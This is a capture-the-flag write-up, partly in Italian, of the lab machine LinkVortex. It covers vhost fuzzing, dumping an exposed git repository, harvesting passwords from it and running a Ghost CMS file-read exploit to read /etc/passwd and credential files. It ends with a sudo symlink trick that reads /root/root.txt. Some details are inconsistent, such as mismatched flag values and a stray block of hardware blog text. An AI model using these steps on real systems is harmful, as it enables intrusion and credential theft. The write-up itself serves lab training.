LinkVortex



Target: 10.10.11.47

Port scanning:

\$ nmap -sC -sV -oA nmap/top1000 10.10.11.47

Results:

- 22/tcp ,OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0).
- 80/tcp, Apache httpd, redirect to http://linkvortex.htb/.

[+] Ubuntu Jammy (22.04)


Update local dns:

kali \$ vim /etc/hosts

Append to /etc/hosts:

10.10.11.47 linkvortex.htb


The web app uses the ghost CMS version 5.58.



The Power Supply The CMOS The Video Graphics Array A power supply unit (PSU) converts the alternating current (AC) from your wall outlet into direct current (DC) that the computer components require. It... CMOS is a type of semiconductor technology used The term VGA can refer to either the Video Graphics to store small amounts of data on the mothe This data includes system settings and... Array specification or the physical VGA connector often used for computer video output. Below, I'll... The Random Access Memory The Motherboard The Central Processing Unit Random Access Memory (RAM) is a crucial component in all computing devices, serving as the main short-term data storage space. RAM stores t... A motherboard is a complex printed circuit board (PCB) that facilitates communication between all critical electronic components of a computer,... The Central Processing Unit (CPU), often simply referred to as the processor, is the primary component of a computer that performs most of... Apr 1, 2024 · 2 min read Mar 11, 2024 · 2 min read

Ghost is a powerful app for new-media creators to publish, share, and grow a business around their content.


There is an author: admin.




From the ghost documentation discover the Admin API uses to which has both read and write access used to create and update content.

Security results are commit in github.

The robots.txt reveals some path.



The /ghost/ path redirect to a Sign in page.



Virtual hosting routing scanning with ffuf:

```
$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-
top1million-5000.txt -u http://linkvortex.htb -H "Host:
FUZZ.linkvortex.htb" -o ffuf/vhost -of csv -v

$ cat ffuf/vhost | cut -d"," -f1,5 | grep -nv ".*,301"
1:FUZZ,status_code
32:dev,200
```


Result:

• dev.linkvortex.htb

Updates the local dns.


```
10.10.11.47 linkvortex.htb dev.linkvortex.htb
```

Visit http://dev.linkvortex.htb.



This suggest that the web page is in development mode, potrebbe esserci un controllo di versione quale git.

Visit http://dev.linkvortex.htb/.git.



Si utilizza git-dumper per recuperare il codebase.

```
$ python3 -m venv venv && source venv/bin/activate && pip install git-
dumper

$ git-dumper http://dev.linkvortex.htb/.git ./codebase/
```

Con una ricerca sul web, si è appreso della esistenza di una vulnerabilità per Ghost 5.58.

[+] CVE 2023-40028

This script exploits a vulnerability in Ghost CMS (CVE-2023-40028) to read arbitrary files from the server. By leveraging a symlink in an uploaded ZIP file, an attacker can gain unauthorized access to sensitive files on the system.

Try to gain access as user.

```
$ ls -lah codebase/
total 1.4M
drwxrwxr-x 7 kali kali 4.0K Mar 18 11:17 .
drwxrwxr-x 8 kali kali 4.0K Mar 18 11:16 ...
drwxrwxr-x 8 kali kali 4.0K Mar 18 11:17 apps
-rw-rw-r-- 1 kali kali 521 Mar 18 11:17 Dockerfile.ghost
-rw-rw-r-- 1 kali kali 312 Mar 18 11:17 .editorconfig
drwxrwxr-x 80 kali kali 4.0K Mar 18 11:17 ghost
drwxrwxr-x 7 kali kali 4.0K Mar 18 11:17 .git
-rw-rw-r-- 1 kali kali 122 Mar 18 11:17 .gitattributes
drwxrwxr-x 7 kali kali 4.0K Mar 18 11:17 .github
-rw-rw-r-- 1 kali kali 3.1K Mar 18 11:17 .gitignore
-rw-rw-r-- 1 kali kali 135 Mar 18 11:17 .gitmodules
-rw-rw-r-- 1 kali kali 1.1K Mar 18 11:17 LICENSE
-rw-rw-r-- 1 kali kali 888 Mar 18 11:17 nx.json
-rw-rw-r-- 1 kali kali 3.5K Mar 18 11:17 package.json
-rw-rw-r-- 1 kali kali 2.8K Mar 18 11:17 PRIVACY.md
-rw-rw-r-- 1 kali kali 5.3K Mar 18 11:17 README.md
-rw-rw-r-- 1 kali kali 518 Mar 18 11:17 SECURITY.md
drwxrwxr-x 2 kali kali 4.0K Mar 18 11:17 .vscode
-rw-rw-r-- 1 kali kali 1.4M Mar 18 11:17 yarn.lock
```

Per sfruttare la Local File Inclusion bisogna avere un account per accedere alle funzionalità che Ghost mette a disposizione.

Discovery di informazioni per il login.

Used detection email.sh script to collect some emails in codebase/.

```
$ ../detect_email.sh . ../email.txt
```

There are 837 emails detected.

E' lecito pensare che, vista la presenza di un autore admin che ha pubblicato del contenuto nel blog, allora la sua email potrebbe essere del tipo admin@*.*.


```
$ grep "admin" email.txt
admin+1@ghost.org
admin-api-key-test@example.com
admin@example.com
administrator@test.com
```

newadmin@test.com
test+admin@ghost.org

Per tutti questi risultati, la pagina restituisce una non corrispondenza.

\$ grep "linkvortex" email.txt
dev@linkvortex.htb

Non funziona, ma questo puo far pensare alla esistenza di una email del tipo admin@linkvortex.htb.



Si cerca una possibile password in codebase/.

Con il comando


```
$ grep -rinh "password =" .
```

si sono trovati due corrispondenze interessanti:

- OctopiFociPilfer45
- thisissupersafe

Si ha accesso alla pagina http://linkvortex.htb/ghost/#/dashboard con le credenziali:

• admin@linkvortex.htb:OctopiFociPilfer45



\$ git clone https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028.git

Si lancia l'exploit:

```
$ ./CVE-2023-40028 -u 'admin@linkvortex.htb' -p 'OctopiFociPilfer45' -h
http://linkvortex.com
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit): /etc/passwd
File content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin/loogin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
```

```
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
```

Users muniti di /bin/bash:

- root:0:0
- node:1000:1000

Tentativo di accesso con ssh per node.

Le password collezionate e presenti in codebase/ non permettono l'accesso con ssh.

Si analizza il file Dockefile ghost:

```
$ cat Dockerfile.ghost
FROM ghost:5.58.0

# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json

# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get
/usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb
/usr/sbin/dpkg-deb

# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh

ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]
```

Si utilizza l'exploit per ottenere il file /var/lib/ghost/config.production.json.

```
File content:
{
  "url": "http://localhost:2368",
 "server": {
   "port": 2368,
   "host": "::"
  },
  "mail": {
   "transport": "Direct"
  },
  "logging": {
   "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}
```

Si sono effettuati altri tentativi per accedere ad una shell remota.

bob@10.10.11.47:fibber-talented-worth

Accesso ottenuto.

```
bob@linkvortex:~$ ls -lah
total 28K
drwxr-x--- 3 bob bob 4.0K Nov 30 10:07 .
drwxr-xr-x 3 root root 4.0K Nov 30 10:07 ..
lrwxrwxrwx 1 root root 9 Apr 1 2024 .bash_history -> /dev/null
-rw-r--r-- 1 bob bob 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 bob bob 3.7K Jan 6 2022 .bashrc
```

```
drwx----- 2 bob bob 4.0K Nov 1 08:40 .cache
-rw-r--r-- 1 bob bob 807 Jan 6 2022 .profile
-rw-r---- 1 root bob 33 Mar 19 21:48 user.txt

bob@linkvortex:~$ cat user.txt
e67ed2c07cbdc3c******************************

bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
```

user.txt:69ee55437ca082**********f3

```
bob@linkvortex:/opt/ghost$ ls -lah
total 48K
drwxr-xr-x 4 root root 4.0K Nov 30 10:07 .
drwxr-xr-x 5 root root 521 Apr 1 2024 Dockerfile.ghost
-rw----- 1 root root 185 Apr 1 2024 Dockerfile.ghost-db
-rwxr-r-- 1 root root 745 Nov 1 08:46 clean_symlink.sh
-rw-r--r-- 1 root root 645 Apr 1 2024 config.production.json
drwxr-xr-x 11 1000 root 4.0K Apr 1 2024 content
-rw----- 1 root root 1.4K Apr 1 2024 docker-compose.yml
-rw----- 1 root root 238 Apr 1 2024 entry.sh
drwxr-xr-x 8 _laurel root 4.0K Mar 19 21:45 mysql
-rw----- 1 root root 5.2K Apr 1 2024 wait-for-it.sh
```

Analisi dello script clean_symlink.sh:

```
bob@linkvortex:/opt/ghost$ cat -n clean_symlink.sh
    1 #!/bin/bash
    3
       QUAR_DIR="/var/quarantined"
    4
    5
       if [ -z $CHECK_CONTENT ]; then
    6
       CHECK_CONTENT=false
    7
       fi
    8
    9
       LINK=$1
   10
   11 if ! [[ "$LINK" =~ \.png$ ]]; then
   12
         /usr/bin/echo "! First argument must be a png file !"
   13
       exit 2
   14 fi
```

```
15
   16 if /usr/bin/sudo /usr/bin/test -L $LINK; then
         LINK NAME=$(/usr/bin/basename $LINK)
   17
   18
         LINK_TARGET=$(/usr/bin/readlink $LINK)
         if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq
   19
'(etc|root)';then
   20
           /usr/bin/echo "! Trying to read critical files, removing link
[ $LINK ] !"
   21
           /usr/bin/unlink $LINK
   22
         else
   23
           /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
           /usr/bin/mv $LINK $QUAR DIR/
   24
   25
           if $CHECK_CONTENT; then
             /usr/bin/echo "Content:"
   26
   27
             /usr/bin/cat $QUAR DIR/$LINK NAME 2>/dev/null
   28
           fi
   29
         fi
   30 fi
```

Lo script clean_symlink.sh viene eseguito con i permessi di root ed in sostanza, permette di leggere il contenuto di un file soddisfacendo i seguenti requisiti:

- 1. il payload deve essere un file con estenzione .png;
- 2. deve essere un file di tipo symlink;
- 3. il symlink non deve essere comprendere file di /etc e /root;
- 4. la variabile di ambiente CHECK_CONTENT deve essere settata a un valore diverso dalla stringa vuota per poter ottenere in output il contenuto del file passato in input allo script.

Si puo utilizzare questo script per accedere a risorse sensibili.

Struttura dei symbolic link da definire:

payload.png -> normal file -> file with no read permission for bob

```
bob@linkvortex:/opt/ghost$ find / -name root
find: '/root': Permission denied
```

```
bob@linkvortex:/opt/ghost$ mkdir ~/payload/
bob@linkvortex:/opt/ghost$ ln -s -T /root/root.txt ~/payload/file
bob@linkvortex:/opt/ghost$ ln -s -T ~/payload/file ~/payload/file.png
bob@linkvortex:/opt/ghost$ cat ~/payload/file.png
cat: /home/bob/payload/file.png: Permission denied
```

```
bob@linkvortex:/opt/ghost$ sudo CHECK_CONTENT="true" /usr/bin/bash
/opt/ghost/clean_symlink.sh ~/payload/file.png
Link found [ /home/bob/payload/file.png ] , moving it to quarantine
```

root.txt:69ee55437ca082************f3